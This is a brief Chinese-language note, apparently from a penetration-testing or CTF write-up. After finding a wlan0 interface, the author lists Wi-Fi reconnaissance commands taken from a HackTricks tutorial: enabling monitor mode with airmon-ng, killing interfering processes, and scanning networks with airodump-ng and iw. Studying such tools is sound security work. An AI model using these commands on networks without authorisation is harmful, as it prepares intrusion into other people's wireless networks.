查看 ip，发现有一个 wlan0，这是一个无线局域网接口，应该就是 WIFI
https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-wifi
找到了一篇 wifi 渗透测试的教程
ip link show：显示可用的网络接口
iwconfig：显示可用的无线接口
airmon-ng check kill：终止干扰进程
airmon-ng start wlan0：启动监控模式
airmon-ng stop wlan0mon：切换回托管模式
airodump-ng wlan0mon：扫描（默认2.4GHz）
airodump-ng wlan0mon --band a：扫描5GHz频段
iwconfig wlan0 mode monitor：设置为监控模式
iwconfig wlan0mon mode managed：退出监控模式，切换为托管模式
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA"：扫描可用的WiFi并显示相关信息
这是教程中提到的命令
